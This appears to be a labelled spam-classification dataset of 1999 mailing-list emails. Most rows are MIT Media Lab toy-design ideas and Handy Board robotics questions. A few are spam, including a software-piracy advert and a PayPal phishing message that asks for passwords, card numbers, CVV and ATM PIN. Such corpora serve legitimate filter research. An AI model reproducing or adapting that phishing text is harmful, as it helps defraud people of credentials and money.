handle(s) would also be remote controls for things like tension of the strings (to change pitch), etc -- can be done with muscle wire. 10) Audio rangefinder that varies some musical parameter based on its distance from whatever you point it at. if you aim it at something far away, and scan across the room to something closer, the shape of the room (and obstacles) would vary the music it produces. --Dan ",0,0 Kelly Bowman Heaton ,play99@media.mit.edu,"Tue, 09 Feb 1999 11:00:08 -0500",toys,"1. Digital FingerPaint: Clear building blocks that contain 3 LEDs inside, such that the LEDs can be ""mixed"" to generate a full range of colors. The blocks would come with a palette that you can use to mix your LED colors (the palette would have several ""pots of LED paint"" whose color could be adjusted using a knob). Once a color is mixed and selected, touch the building blocks to ""paint"" them with light). The palette will also have several texture buttons that can be applied to the blocks for dynamic patterns of colored light. If the blocks could remember their paint ""history,"" this could be played back as a light pattern in the blocks, like a 3-D Simon Says... or else, you could create movement of color and light to mimic the appearance of running water, wind blowing leaves in trees, etc... 2. Self-Aware Macromolecules Molecules (SAMM): Imagine a molecular set that could ""know"" it's structure as you build it, such that it could tell you (via computer screen or voice recording) what molecule you had built. Sort-of like Triangles, SAMM would have 3-D structural awareness, including knowledge of stereochemistry; and it could access an on-line database of chemical structures to tell you what molecule you had built. 3. Thinker Toys: Based on Digital Fingerpaint and SAMM, Thinker Toys make use of 3-D ""self-awareness"" to redefine what is possible with building blocks. Instead of comprising a chemistry set, each building block contributes to the genetic design of a creature that assumes a behavior which is the cumulative result of the individual blocks. Preferably, these behaviors would manifest in physical traits (within the blocks themselves); alternately, the arrangement of the blocks could produce various Carl Simms-like creatures in a computer-generated world. Each block may contain pattern or color information that could influence it's neighbors, and children could contribute to the creation of these behaviors by recording their building or ""painting"" process (see Digital FingerPaint) and playing them back. If the blocks contained sensors, they could ""react"" to light or sound in different ways, perhaps by movement (think Kinetic Tinker Toys). Power supply for a large system of distributed objects is a problem, though... and some playful ideas for recharging batteries would be good. 4. Kid Power: Powering digital toys is a real problem requiring lots of expensive and irritating batteries. Rechargeable batteries are good, but they currently require parents to deal with them. What if kid power could be used to recharge batteries? Perhaps pogo sticks, Sit and Spin, trampolines or bicycles could be coupled with a cool device that enables kids to generate the power for their toys by recharging batteries in a fun way. Alternately, maybe common household devices could be exploited for their power-generating properties: imagine recharging your batteries by throwing them into a padded bag and running them through a cycle in the dryer to convert the heat and tumbling motion into battery power. Or sticking the (especially-made non-metallic) batteries in the microwave, half in water and half out. 5. Warm FuzzE: A small, portable creature (maybe it velcro-sits on your shoulder) that can digitally record your secrets like a diary. In addition to recording your speech, Warm FuzzEs have LCD screen (or E-ink) animated eyes and simple sound-making capability that gives them the ability to acknowledge your speech (""mmm!"" and ""uh-huh..""). They also have a tiny pager motor inside that will shake when the Warm FuzzE is full of sound and needs to be uploaded. Once the sound is uploaded, you have a diary recorded sound clips - maybe once speech recognition improves, the diary could actually upload into written format. 6. Accessory Magic: Currently, toy-makers try to animate their characters by putting the ""smarts"" in the toy, usually resulting in toys that are hard to the touch (= not cuddly). What if instead of plush toys having the batteries and electronics inside, they had the capability to connect to a ""magic"" accessory- like a bike, car or pony, that would respond to the presence of the plush toy by producing all sorts of digital ""magic,"" such as flashing LEDs, speech, music, etc... This way, the toy itself could remain soft; and when you removed it from the magic accessory, it would be just a plush toy. The combination of the two would be the act that resulted in the magical traits, like Wonder Twin Powers activate... 7. PolyWalk: Wouldn't it be cool to have a square or dodecahedron that would ""walk"" across a table, and change it's direction if it hit an impediment? Using either shape memory alloy or an off-centered weight, I'd like to build a walking polyhedra. A shape memory alloy sea urchin (that crawled along on it's SMA spikes) would also be nice. 8. TeleToy: Using networked toy technology (i.e. the PIA Penguins and Rob Poor's Hyphos), I think it would be interesting (and challenging) to develop an open-ended toy character that could be regularly updated via a remote network, like a living cartoon. The combination of sensor reaction to the real-world (like Furby) and the influx of new information from the network could be particularly compelling. How could these two technologies be merged to develop a character that is convincing and entertaining over the long term (as opposed to Furby, whose behaviors eventually become predictable); and not dependent on proximity to the TV for content (like Barney)? 9. Artificial Aquarium: Some things are a whole lot harder to do in air than in water, such as moving things around with 3 degrees of freedom. Self-assembly is tough to model on a large scale without floating the �molecules� in some medium. Wouldn�t it be fantastic to replicate self-assembly on the macro scale? Using primitive shape memory alloy flagella for motility, �puzzle� fit shapes and carefully placed magents, perhaps you could mimic the self-assembly process in an aquarium (or at least make a lot of nifty artificial microorganisms). Or else, you could float some charged, mylar balloon macro-atoms in the atrium... 10. Digital Circus: This is a broader concept, inspired by sculptor / artist Alexander Calder. I think it would be a great demo to build a digital and mechanical circus using current technology. For example, the circus could contain: a crowd that would blink in patterns of light as it applauded events in different parts of the ring; a piezo electric flea circus (Rich Fletcher); tag-carrying clowns that could recognize each other and respond appropriately; a (very thin) ballerina that would spin on a circular electrostatic motor; a lion with animated LCD eyes that would roar loader and scowl as you got near it; an announcer / ring leader that could recognize tags and give appropriate, real-time information from the internet; various computer-animated projections; and others. The entire circus could be built using current manufacturing materials and methods, such as the laser cutter, 3-D printer, smart materials, etc... ",0,0 Phil Frei ,play99@media.mit.edu,"Tue, 09 Feb 1999 11:08:52 -0500",toy ideas,"Digital Labyrinth Based on the classic game of Labyrinth, I would like to propose a small hand-held digital Labyrinth. I'm imagining a 2x3 inch high resolution LCD screen with a graphical labyrinth and ball. Using accelerometers, one can measure the tilt on the screen and have the virtual ball respond to real tilt. It would have an on/off button, a difficulty select button, and a stop/reset button. (Partially based on Golan Levin's work) Mechanical Workbench An electromechanical attachment to your screen, that seamlessly connects virtual and physical events to create a great learning tool for mechanical systems. For example, you could have a string (with hidden electromechanical actuation) mounted to the top of your monitor, so that it appears that the real string enters the virtual world. In the virtual world, one could attach weights and when one lifts the weights with the real string you could feel the downward force. Now one could attach a pulley in between and feel the difference in force. Push against virtual springs with a peg. Etc. Jacob's eLadder It would be fun to add electronics this classic wooden toy to either enhance the illusion. One could try to change the state of the surface (using EL lamps, for example) of each block as it topples down, so that the piece that appears to be falling to the bottom is a different color. Measuring Balls Balls that can tell how far apart they are. If this could be shrunk down to marble size elements, it would make a great measuring tape replacement. Unlike a measuring tape, it wouldn't sag or have a problem with physical obstacles. If you loose one, you could find the other one. Or you could have somebody hide one, and figure out where it is. Color Sampler I would like to create a physical version of the Photoshop Eyedroppper that can sample a color on a picture. This pen or eyedropper like device would take a picture of whatever was just in front of it and reduce the whole image to one color. When the eyedropper is returned to its holder next to the computer it send the color information to the drawing program. If you wanted to paint with the color of your couch, you could just go and get that color, instead of guessing on a color wheel. B&W Glasses I know this isn't really possible without some active filtering, but having glasses that turned everything into black and white would be very cool. This would also be useful to learn elements of photography. Jacob's Ladder Book Because of its unique folding, I think there is potential to turn this into a great story telling medium. With the inherent physical constraints of the mechanism, one could create something that lies in between a classic book and a non-linear narrative. Maybe it could be a picture book for younger children, where they have to search for something by folding the Jacob's Ladder in different ways. LED Lightbrite An array of three-color LEDs about the size of a classic Lightbrite. The LED are mounted on small buttons, which when pressed give the LEDs one of four states, on red, green, white, or off. When the LED Lightbrite is first turned on, all the LEDs are off. You can then press your hand on the device and leave your print in red. You can then put your other hand on it and also leave its print in red, but the places that overlap with your other hand will be green. You can also click on each LED individually to adjust the image. Hand-cranked Toys I like the idea of human-powered toys. It doesn't just have to be a hand-cranked. I have no clear ideas yet, but besides the fact that you never need batteries and you can run the device right out of the box, I think there is a lot to be learned by powering your own devices and seeing how they work. WallCrawler I would like to have a toy that can walk up walls. I don't know how to do this, but it would be very cool. ",0,0 Stuart Drexler ,play99@amt.media.mit.edu,"Tue, 09 Feb 1999 11:32:32 -0500",Stu's Toys,"10. Yo-yo Magic Yo-yo with a built in gyroscope and microchip brain to interpret the forces acting upon it. It outputs musical notes and rhythmic beats according to the way you play with it. It could even react differently to different users if a second sensor measured the pulse or skin galvanic response of the user. If anyone can think of a way to get it to do its own tricks, or make it able to learn/memorize tricks, that would be even better. 9. Music in Motion Motion sensors attached to clothing (shirt, shorts, and gloves) each cue different programmable sounds. Move to make sounds. Move rhythmically to make music. Skin galvanic response sensor in one of the gloves would affect real-time changes the mood or tone of the composition based on its measurements. 8. Light Art A compact laser light projection system for your bedroom. Be able to create laser light art and put on shows for your family and friends. Alternately, rather than projecting onto physical surfaces, it could project holographic images several inches above itself. When in ""autocreate"" mode, the projector would react to external sound or music to create light displays. 7. Living Friendship Bracelets Bracelets that glow and swirl with color when worn. They light up and play clips from your favorite song whenever they are in proximity of your best friend¹s matching bracelet, as long as hers is being worn, recognized by a skin galvanic sensor. The closer two matching bracelets are in distance, the more they begin to emulate one another¹s color patterns. When not worn, they automatically turn off. 6. Smart Hot Wheels XV Racer Set A double width Hot Wheels track that¹s wired to keep tabs on up to 6 specially created XV cars at the same time. You get to program the names of your cars¹ drivers. The grandstand speaker then will announce the race play by play as it progresses. The cars themselves make wild sounds when they do loop tricks, and wipe out sounds when if they fly off the track. 5. Spy Kit Comprehensive spy set up: super sensitive listening device with digital recording chip, 2-way radio watches, fingerprint recognition palette that can be used to build personal electronic locks, and flywheel add-on to bicycles for quick burst getaways. 4. Rocket Ride Miniature on-board live video system lets you go along for the ride in a toy rocket. Other instruments measure the g-force, velocity, and wind speed. All these are beamed by radio back to the ground station, where kids can track the telemetry to improve on later flights. 3. Flexible Art Digital touch-sensitive art tablet. Allows you to include text, upload photos, or create your own artwork on the fly. The tablet is thin enough that you can attach to the front of your notebook, diary, photo album, etc. A magnetically backed version can even be applied to the refrigerator. 2. Art Cap Smaller version of the Flexible Art concept. Would create a hat that could have different logos or images on it every time you wear it. You could set it to rotate between a set number of patterns you program. Or, like some screen savers, set it to random and it will generate colorful swirling patterns of its own. Could include a small speaker to allow sound capabilities as well. 1. Eco-toys Create a series of toys that would allow kids to connect unseen processes with those that they do see. A simple spectrometer, allowing them to measure the make up of substances, could be used to take soil readings for a plant they¹re growing. The sensor would alert them when they¹ve over- or under-watered, and when the plant needs nitrogen. A weather station with barometer, thermometer, and GPS capability can be hooked up to the Internet to display the real weather data for their area. Underwater sensors could be developed to build into a submarine that could be remote-controlled to inspect water temperatures, pressures/depths, and salinity, acidity and water purity levels. ",0,0 """R.A. Gaunt"" ",handyboard@media.mit.edu,"Tue, 09 Feb 1999 08:51:11 -0800",Downloading,"Thanks for the new Downloader_MCL Fred!! Finally I can reliably download the pcode to my Handyboard. I've had my board for some time now and had almost given up hope about ever using it. However, the new downloader works perfect. Now I can get into the interesting stuff! Robert Gaunt ",0,0 """Claudia Urrea G."" ",play99@media.mit.edu,"Tue, 09 Feb 1999 11:57:56 -0500",Toy ideas...,"--Electronic Puzzle You get one set of pieces, but you can download several pictures to them. They get assigned in a random way, every time you want to star a new puzzle. Once you are done with one picture, you can upload it to the your computer (print, etc) --Grow your plans You get a traveling container to place your plans. They have different parameters (humidity, light, etc.) you can control according to the plant needs. --Composition kit Different object will represent the different components in a music piece (duration, peach, and volume...). The idea is to have the kids learn about these different elements and by playing can compose and create their own melodies (my group proposed a similar idea in Mitchel's class last semester). --Automatic Pop-up Book The idea here is similar to the pop-up book, but instead of you having to pull thing and get motion when you open a new page, the motion will happen automatically. --Movie Clip/Camera/Album The idea is to be able to have album with movie clips in the same way you have pictures. I imagine them in a format similar to a Polaroid picture. --Personal Music Box You can download the music you like and program the box to play it according to different parameters... can be environmental, emotional, etc. --Robotic fish tank With fish, octopus, see horse that you can train to do different things. --Real Super Heroes, and other dolls They will actually perform as they do in cartoons or movies. You can select demo or control mode. I got this one from my brother, who wants to have spider-man that can claim walls or super-man that flies. -------------------------------- Claudia Urrea G. Research Assistant Epistemology and Learning Group MIT Media Lab calla@media.mit.edu ""...most of what I know I did not learn in school..."" John Holt. ",0,0 Vanessa Colella ,play99@media.mit.edu,"Tue, 09 Feb 1999 12:41:01 -0500",toy ideas," Powers of 2 A powers of ten video for physical toys. A powers of 2 toy would work as a toy in its regular state, but you could peel away layers of the toy revealing its inner workings at a more detailed level. the ultimate powers of 2 toy would let you put any object in a powers of 2 box and then ""see"" into that object at progressively higher levels of functional magnification. Lightbright meets bread board A lightbright toy that enables you to wire logic in addition to creating static patterns. you could store a series of states, create dynamic patterns, ""program"" interactions among lights, explore emergent patterns, and so on. Really magic 8 ball listens to your questions and reconfigures meaningful answers ",0,0 Jennifer Smith ,play99@media.mit.edu,"Tue, 09 Feb 1999 12:52:37 -0500",some toys," I haven't looked at anyone else's ideas yet, so if there are duplicates, it's convergent thinking! :) - Safe wookdworking tools. I've seens a stapler meant for kids in which it's absolutely impossible to staple your fingers, yet it works perfectly. It would be fun to apply this concept to other dangerous tools so kids can have fun with those activities too. - tangible music composing - physical sim city - giant artificial microbe in a jar. A-life for kids, preferably slimy as well as instuctional. - stuffed animal that moves, etc, except all the electronics and mechanical parts are made of soft, flexible materials (conducting thread, artificial muscles). The main problem with all stuffed animals the ""do something"" is that they are not snuggly. - card with voice chip for passing secret messages, perhaps via IR - sound splotlight for secret messages at a distance, like Star Trek - fisher-price DNA sequencer - diary connected to other kids' diaries from around the world. You tell it your troubles and it finds a diary entry from another kid with similar concerns. - animate your own drawings. Kids draw on paper on top of a digitizing tablet. The image can then be animated by a computer and kids can add a story to go with it. - reconfigurable dress-up clothes. Going beyond reversible jackets, with these you could switch the arms of different shirts, change them from puffy to tight, change the colour, change the style, using velcro, clever design and use of fasteners, maybe dye that is sensitive to charge so it changes colour when you expose it to current for a short time. Jennifer Smith ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 09 Feb 1999 10:51:46 -0800",Polaroid Sonar Questions,"I'm looking for help/advice with my sonar setup. At present I've got a single sonar connected to the new Expansion Board and have been doing a calibration. My goal is to use four transducers to cover a 45° arc. Here are my problems/questions: 1. How to deal with ""jitter"" of about ±1 cm at all ranges. My tentative solution is to average 3 or 4 readings. 2. How to deal with the occasional (once out of 10 or 20 pings) large error. My tentative solution is to discard ranges that have changed a ""large"" amount since the previous reading ... faster than the 'bots max velocity ... but what about a rapidly approaching predator such as my cat? 3. How to determine when the minimum reliable range has been reached. Tentative: just discard anything less than 20 cm. 4a.Are my time of flight calculations correct? Polaroid implies that the speed of sound is about 1.1 feet/sec. My reference says 331.6 m/sec at 0°C and approx. 354 m/sec at 20°C (68°F). If my grade school math is correct this works out to a sonar inch (out and back time) equal to 143.5 usec (287 counts) and a sonar centimeter of 56.5 usec (113 counts). 4b.Using Dr. Martin's sonar.c to test the 6500 the about figures give reasonably accurate readings, but it is necessary to subtract about 1000 counts (0.5 msec) from the returned result prior to converting to inches or centimeters. 5. How best to implement the software to take full advantage of the 6500's capabilities? I intend using Adam Cox's four transducer hookup at: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib/adam/mxducr1.gif The software examples that I've found are either very simple: Fred Martin's test program at: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/sonar.html or Kent Farnsworth's test program at: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib/kent/hbsonar/ or extremely complex (and without code samples) such as Johann Borenstein's Micro-Controller Interface Board (MCIB) and Error Eliminating Rapid Ultrasonic Firing (EERUF) at: http://www-personal.engin.umich.edu/~johannb/ Any and all comments, suggestions, sample code, pointers to other links, etc. will be appreciated. - - - Nick - - - ",0,1 Rick Borovoy ,play99,"Tue, 09 Feb 1999 13:58:41 -0500",toy idea,"Here's an idea for a digital olympic torch that I've been ""toying"" with... --------------------------------------------------------------------------- THE DIGITAL TORCH Here's an idea for a major worldwide event to help launch the Sydney 2000 Olympics. Before each Olympics, a small group of runners carry a torch from Athens to the host country. We would like to add a collection of digital torches, carried by millions of kids all over the world. The kids would carry the digital flames on their wrists, in specialized Olympic Swatches. To pass the flame, kids would simply bring their wrists together, and the flame would jump from one watch to another. The ultimate goal: to pass the flames all the way to Sydney. Swatch would produce five different Torch Watches, each one resembling a different colored ring on the Olympic flag. To create a new flame, a group of five kids wearing the five different color watches must put their hands together. A new flame glows on the watch faces, along with a unique URL. On the Web, kids could add pictures and messages to ""their"" flames -- and see visualizations of all of the flames. Each flame, over time, would represent a community of kids from around the world. There are games associated with the flames. Kids gain points each time they pass a flame; with enough points, they can start a new flame. Flames must be cared for; if they are not passed frequently, they die out. During the opening ceremony, the lights will dim, and hundreds of children in the stadium will hold up their hands, their watches glowing red. These children (chosen for the key roles they played in the torch relay) will each be carrying one of the flames that made it all the way to Sydney. They will then run down onto the field, and one by one, will touch their watches to a large digital torch (a tall, thin Jumbotron). An enormous animated flame will ignite on the screen, where each piece of the flame will be an image of a child who carried it (like an animated version of the photomosaics created at the Media Lab). This activity would connect kids together into a worldwide community -- and help them understand how local interactions can achieve global results. ",0,0 Matthew Lau ,play99@media.mit.edu,"Tue, 09 Feb 1999 13:57:26 -0500",Fun fun fun...,"1) Tagged baseball cards - Tags index cards into a giant database of constantly updated statistics. Cards can retrieve simple statistics, or current news stories. Combinations can bring up past head-to-head match ups or teams that two players have played together on. 2) Not-dumb water rocket - The good old pump-em-up water rocket with internal ballast that it can adjust to ensure that the projectile returns in a relatively tight proximity to where it was launched from. That way, it wouldn't end up on the neighbor's roof. Could also be outfitted with a camera, altimeter, or other sensors to record the flight. 3) Microsoft Barney Plays Devil's Advocate - Some kind of TV watch-along partner to keep kids interested in current events. Needs a television show produced in conjunction. Can help point out the simple conflicts between the two (or more) sides to complex issues. Warning: Many parents may just plain hate this toy. 4) Ball that keeps score - knows when it goes through a goal, hoop, or other scoring device. Keeps score. Would be difficult to make it call fouls, but that could be the magic. 5) Above Average Card Table - Uses real cards, but keeps track of them. Can teach kids how to play new games, or be an automated playing partner. 6) Instrument with teach mode - Display shows music, keys/drum heads/ valves lite up in conjunction with notes. As the player gets more advanced, can set to only turn on key lights when a mistake is made. If designed well, should teach not only to play, but also to read music. Should come up with a good way to teach improv. 7) Animated Book - Make the pictures move to keep the new no- attention-span kids interested in reading. 8) Stuffed animal alarm clock thing - knows a kid's schedule to remind them when they have to start getting ready, leave for school, etc. Networked so parents can update schedule on line, or use it to page kids. Some professors could use this. PDA in a pound puppy. 9) Either a cardboard box that repairs itself, or a cardboard subscription. Each deivery comes with a new design. 10) Fireworks - LCDs make non-burning sparks. --ml ",0,0 Oliver Roup ,play99@media.mit.edu,"Tue, 09 Feb 1999 14:58:55 -0500",Hive pointers,"Hive is a framework for the development of distributed systems of Things That Think. Hive is designed to make it as easy as possible to connect new devices to the Hive, and provides services so that those devices can discover each other and interact. Hive is designed to facilitate the seperation of device capabilities and their behavior, making it easy to change the behavior of a system already in the field. Finally, Hive is designed with massive scalability and widely distributed systems in mind. We are actively seeking people whose projects could benefit from Hive. If you are not sure if Hive would be useful to you, please contact us. The project home page is http://hive.www.media.mit.edu/projects/hive/ and the authors are available at hive@media.mit.edu The web page has links to both binary and source distributions of Hive, as well as the documentation still in progress. If you decide to download the code, please add yourself to our users mailing list which is hive-users@media.mit.edu Thanks, Oliver Roup The Hive Team. ",0,1 """Naser A. Ameen"" ",handyboard@media.mit.edu,"Tue, 09 Feb 1999 13:45:56 -0700",I need a little help with understanding processes,"Hi: I know the essential facts about IC's multitasking facilites and how to implement processes. But if you have too many processes is it normal for the board to reset? If so, how can it be prevented. Also how do I figure out for how many ticks to run each process. PS. This might be a dumb questions to all in the list, but please bear with me cuz I am fairly new to this list. Any help will be greatly appreciated. Thanks. ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Tue, 09 Feb 1999 16:24:28 -0500",Re: Purchase a handyboard? where???," Hi all, I want to know if Anyone will be selling the handyboard @ the Trinity firefighting home robot contest this year in Conn? also any links to where I can get one otherwise would be much appreciated. thanx -Mike ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 09 Feb 1999 14:36:58 -0800",Re: Polaroid Sonar Questions,"Good comment, Duncan. I intend rotating the 45° coverage through a full 360°. Using multiple transducers allows for more frequent pings and (I think) will provide greater resolution. - - - Nick - - - Duncan Orthner wrote: > > At 10:51 AM 2/9/99 -0800, you wrote: > > [snip] > > >My goal is to use four transducers to > >cover a 45° arc. Here are my problems/questions: > > Umm, just a thought but how about using one sonar unit mounted on a servo > and pinging it over the 45 degree arc? Controlling (positioning) the servo > is dead simple with the new lib... > > Best, Duncan ",0,0 Download Soft ,Client 72248 ,"Mon, 08 Feb 1999 19:39:39 -0700",Re[5]: download software snd,"Autocad 2006 ------------ Category: Programming and Development Retail Price: 899.00 Our Price: 99.99 Product Overview: AutoCAD LT 2006 increases efficiency with across-the-board improvements, delivering a new standard in CAD productivity. It's designed to realize your ideas with maximum speed, power, and efficiency. From the new dynamic blocks capability that allows you to quickly create, manipulate, and extract data from blocks, to heads-up design, which keeps your focus on your work rather than on the software, AutoCAD LT 2006 makes an impact on the way you work, every single day. The world�s number-one seller for 2D drafting and detailing, AutoCAD LT software is better than ever. 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Please visit us at http://oemzdsy.babasoft.be/zum ygij fr zv ",1,1 Max Davies ,"""Naser A. Ameen"" ","Tue, 09 Feb 1999 21:50:18 -0500",Re: I need a little help with understanding processes,"The most common problem many people have regarding processes is that they incorrectly assume you should call start_process repeatedly in order to keep a background process running. This is completely wrong, and it will crash the system one way or another. You should call start_process only once for any one background process that you want to run. When you start a subroutine with start_process, that subroutine will start running completely independently of your main program, or in other words, execution will continue immediately with whatever follows your start_process call while the subroutine runs on its own at the same time. Typically a routine designed to be called by start_process will contain an endless loop, which is just fine providing that you only do a start_process on it only once. If you call start_process for the same subroutine a second time before the first subroutine ends you will end up having 2 copies of the same subroutine running at the same time along with your main program. If your main program continues calling start_process repeatedly you will get hundreds of copies of the subroutine running at the same time until eventually (within a few seconds) the system will crash, normally with a stack overflow error, although just about anything else could be possible depending on the specifics of your program. ",0,0 Bakhtiar Mikhak ,play99@media.mit.edu,"Tue, 09 Feb 1999 21:56:44 -0500",more toys fot the PiP toychest,"1. Programmable sewing machine (with a gLogo interpreter) In addition to the functionality of the existing version of this toy, children can generate their favorite patterns/embroideries in the gLogo language (a dialect of Logo and a cousin of G-code that many commercial sewing machines run on) which are downloaded to the sewing machine. Of course, you can also download a pattern you have found or a friend gave you. For safety reasons, once the sewing machine is running in the auto mode, it will automatically shuts off if a child gets too close to the moving parts. 2. Programmable cutters, pattern makers Children can generate their own patterns algorithmically in pLogo (postscript Logo) or graphically. They can also use ready-made pattern produced by other people or professional designers. The cutter will cut these designs out of fabric, paper, or other novel material for children to sew or glue together (using double-sided tape) to make their own things. The cutter can also have a setting for marking up the material so that children can cut it out themselves. Again, for safety reasons, once the sewing machine is running in the auto mode, it will automatically shuts off if a child gets too close to the moving parts. 3. Know-bodies toys (Mitchel came up with this name in a related project) In the spirit of the Beyond Black Boxes project (http://el.www.media.mit.edu/projects/bbb/) Know-bodies toys would allow children to monitor their own bodies during the day by assembling their own wearables. A cricket or RCX brick with a heart-rate monitor, a temperature sensor, and a GSR sensor can give children a chance to get a better sense of their own body and how certain parameters about their body changes during the day. They can choose from a wide range of biomedical sensors for assembling their wearables. They can see if the stories they can tell from the data matches what they thought their body was going through during the day. They could also make real-time wearable displays for these data. In addition to the obvious example of using digital displays, more expressive displays could be explored. For example, the color of a small pattern or image (an application for eink of course) on their shirt could change depending on the temperature or the music played from their musical jackets could be appropriately effected. 4. autonomous R/C planes, boats, submarines, and cars R/C planes are quite hard to fly for a beginner and are therefore quite easy to damage or destroy. These planes can be programmed for automatic take-off, landing, data collection (air velocity, ground velocity, wind velocity, temperature, air pressure, altitude, orientation, acceleration, structural stability and stress, aerial photographs, real-time video feed, etc) while the plane does ordinary or fancy maneuvers, etc. Similar ideas apply to boats and cars. They can all also be flown semi-autonomously or fully controlled by the children as they get more experience. 5. mini-mini golf construction kits This is inspired from the story Mitchel told about his own mini-golf course in his backyard and a project Mike Petrich and Karen Wilkinson did with a group of kids in the Science Museum in Minnesota. The toy proposed here is a construction kit for designing your own mini-mini-golf course and programming what the sculpture near each hole would do and to what, in addition to the ball in the hole, they will react. 6. Programmable athletic tools/supplies Consider a soccer ball during a typical game: On average how often is it kicked how hard is it kicked how high does it go how far does it how often do you posses it where does it end up after you have it how much does it get deformed when kicked how often and how many times does it bounce how often is it headed, chested and can you tell them apart ... Or consider a volleyball in the volleyball game: Aside from questions similar to those above, how would it effect the game, if you could program the ball/court/net to let you know if you are not setting up the ball high often enough let you know when to start jumping for a given set ... Or in tennis or table tennis: what if the paddle can tell you during or after the game, in striking the ball, what part of the racket/paddle you are using most often from which side of the table/court you are scoring more effectively from a given position in the court do use forehand or backhand more often what is the average speed and spin of the ball what is the average rpm of the ball during a game average height of the ball above the net ... I should stop here even though it is too much fun to think of this type of question for all the different sports. The point is that for basketball, volleyball, soccer, football, baseball, tennis, etc you should be able to program the tools of the sport to get a sense of the answer to this type of questions. It's a nice context for many kids to get a sense of statistics and check their intuition about the order of magnitude estimate for the frequency of events of interest to them. It should fun to share your stats with others. 7. A yo-yo or top to think with Consider a yo-yo that can be programmed to record its (angular) velocity, (angular) acceleration, the tension in the string, .... It would be fun to be able to program it to recognize the various tricks you can do with a yo-yo. The top could give you real-time data about its motion and the fields it is moving through (for example the levetron is a toy that sees a pretty interesting varying magnetic field). If it is covered with LEDs, for example, you can have it generate different patterns depending on the sensor readings. 8. This is inspired by a toy my kids really enjoyed. I think it was called ""light bright"". The same as the old ""light bright"" except that you can program the arrangement of lights that you have put on the board. You can control their brightness and color and animated the image you produce. You can also program the image/animation to respond to music or other sensors. 9. Here is an extension of an idea that I got through talking to my daughter (9 years old): She wanted a doll that would follow her so that she would not have to walk along herself or push around in a stroller. In pretend play, she wanted the doll to have a little autonomy. I asked her if she wanted the doll to talk. She said; ""no, not really"". There are often times where she pretends that her dolls are her students or her audience as she puts on a play. I asked if it would be nice to have a doll that she can program to minimally acknowledge her presence; for example it could follow her as she walks around the room and talks to it. She seemed to like that idea (assuming she was not trying to not hurt my feelings). Extending this idea it would be nice if she could program her doll or stuffed animal to react to her in a special way; e.g. it would only respond to her voice or to its name. Additionally, the doll can record her pretend play session so that she can listen to it later. 10. Augmenting your site and hearing - out of the conversation with my son (now 11) A pair glasses that would overlay everything with the infrared data from that object. A hearing device that would alter the sound you would hear, for example to give the feeling that you are under water or sounds are Doppler shifted. In general things that change or enhance your perception. ",0,1 """Robert J. Kelly"" ",handyboard@media.mit.edu,"Tue, 09 Feb 1999 23:19:33 -0500",Beginner's questions...,"Hello again all, Well, I've got an HB, HB Expansion board, geared motors (motors from Gleason, gears from HVW, ""mashed"" to fit), some good batteries and a downloader. I've also got sensors such as QRB1114 infared detectors, some General Electric infrared interrupter switches and a few light detectors. I've built a small base out of styrene construction materials that has room for the batteries and boards with a little leftover to spare for mounting sensors. Not there yet though... I've successfully gotten the 'bot to do a simple obstacle avoidance using the one sensor I've gotten to work. Not bad for a someone who has never messed with electronics or programming before this. (Sorry about patting myself on the back). How do I use the matched pairs of infared interrupter switches as a means of controlling speed of both wheels? As it is now, it appears that all the power goes through one motor and the ""leavin's"" go to the other motor. I can understand some inherent differences in two different motors, but I have to set the ""fast"" one at about half power to match the speed of the ""slow"" one at full power. I want to use the interrupter switches to do turn counts and velocities relative to each other and then use varying ""goal"" counts and velocities to control movement, rather than directly telling the motors to go at ""x"" percentage of power for ""y"" seconds.. Also, are there infared detectors available cheaply (as in a couple bucks) that will detect objects at least a few inches away rather than the very short distances provided by the Quality Tech QRB1114? A bumper switch would work more reliably than the QRB1114. Can I just go down to Radio Shack and buy a few high output infared LEDs and an infared detector and rig them up in a little positioning bracket? By the way, I've tried this and though the LED is working, the detector I'm using (detector part of a pair of RS part # 276-142) doesn't seem to detect anything (out of the light spectrum possibly?). I want to have something that will go out to about five or six inches or more, then I can scale back the trigger value if needed. Anyways, thanks for reading this far, I can be a little long-winded and the questions may seem very ignorant of the obvious. Any help would be appreciated. If it works or not, I'm having a great time with this stuff!! Thanks to Fred Martin and anyone else involved in making this stuff available!! Bob K. P.S. CC my e-mail with any response as I can't always find the time to read all of the postings to this bbs. ",0,0 Matilda Olsen ,java-sig@math.utah.edu,"Tue, 09 Feb 1999 15:40:41 -0500","What.s up, Matilda papd"," Model Beatrice is proving is displaying http://yosirisqx.com > germonicarum dexithea olophus against lonie > stilton somebody suffers 6446 myself demorevcat ",1,1 PayPal ,,"Mon, 08 Feb 1999 18:32:10 -0700",PayPal Note,"PayPal Dear PayPal Customer This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and non-functioning mailboxes. The inactive customers are subject to restriction and removal in the next 3 months. Please confirm your email address and credit card information by logging in to your PayPal account using the form below: Email Address: Password: Full Name: Credit Card #: Exp.Date(mm/yyyy): ATM PIN (For Bank Verification) #: Credit Card Verification(cvv2)#: Thanks for using PayPal! This PayPal notification was sent to your mailbox. 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I just recieved a list and they mostly everything on the list that has digikey beside it but nothing else. The total cost for these parts is $60 + or - $5. I hope this helps, where are you from in Canada. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Scott Moore ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 04:00:47 -0800",etching a handyboard," What is the best way to manually etch the handy board, i've etched it by passing the circuit layout through the printer 3 times then ironing it on to the copper board. This works well but some traces bleed together. I have access to a PCB repair lab so I am fixing this one unless someone has a better idea. Thank You ********************************************************* Scott Moore Electronics Engineering Technology Student NBCCSJ My Home Page http://www.geocities.com/researchtriangle/system/3598 To be the best you must learn from the best. Thanks C. ********************************************************* ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """PROMATEC Proj. e Man. em Eletr. e Inst."" ",handyboard@media.mit.edu,"Tue, 09 Feb 1999 15:03:43 -0200",MC 68HC711 E9CFN2 - please help me as soon as possible!!!!,"Hi! Please Fred Martin or somebody please help me on this! I'd like to know if the MC 68HC711 E9CFN2 chip can be used with the HandyBoard. It has 12 kB of internal EPROM, I've never seen a smd eprom chip, but I don't need the EPROM. The case is that I can buy tons of these microcontrollers for a bargain, much less than 10 dollars. One of the things I want is to make some more HandyBoards to my friends here, and later I want to use this 